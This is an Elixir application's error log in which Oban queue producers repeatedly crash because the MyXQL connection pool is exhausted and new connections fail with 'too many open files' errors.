** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:13:38.239509Z], limit: 3, uuid: "3befb789-47a8-4a4f-9f33-4aba4fef62be", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:38.239516Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166985>, refresh_timer: #Reference<0.2525715032.1068498948.50988>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:13:38.239767Z], limit: 50, uuid: "3ec24a84-9982-4c9a-aaaf-359f90e350df", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:38.239773Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166984>, refresh_timer: #Reference<0.2525715032.1068498948.51001>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:13:38.240032Z], limit: 20, uuid: "8731c71b-c788-4aae-8e43-de908ec5dc83", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:38.240037Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166982>, refresh_timer: #Reference<0.2525715032.1068498948.51015>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:13:38.240051Z], limit: 5, uuid: "cc3b37e0-741f-46b8-b2b5-f1115ad63c2b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:38.240056Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166983>, refresh_timer: #Reference<0.2525715032.1068498948.51018>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:13:38.239898Z], limit: 10, uuid: "fee51bfa-a725-443b-b6bf-2e6d86997790", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:38.239903Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166980>, refresh_timer: #Reference<0.2525715032.1121189889.166955>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:13:38.241577Z], limit: 5, uuid: "43dc04d7-9019-4f31-a313-92c6160defad", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:38.241583Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166981>, refresh_timer: #Reference<0.2525715032.1077673987.28628>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:52.195000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:52.526000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:52.829000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:54.019000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:58.344000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:13:50.239773Z], limit: 10, uuid: "97a462d2-c228-4a30-a49c-bf683b3b1b06", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:50.239778Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.167324>, refresh_timer: #Reference<0.2525715032.1077673987.28764>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:13:50.239854Z], limit: 50, uuid: "a5742490-6ac4-4568-98a4-6c227f9bd631", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:50.239861Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.167323>, refresh_timer: #Reference<0.2525715032.1099431938.52241>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:13:50.239091Z], limit: 3, uuid: "e4468f12-855c-41dd-92d4-01e35227b737", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:50.239098Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.167322>, refresh_timer: #Reference<0.2525715032.1121189889.167292>, dispatch_cooldown: 5, running: %{}}
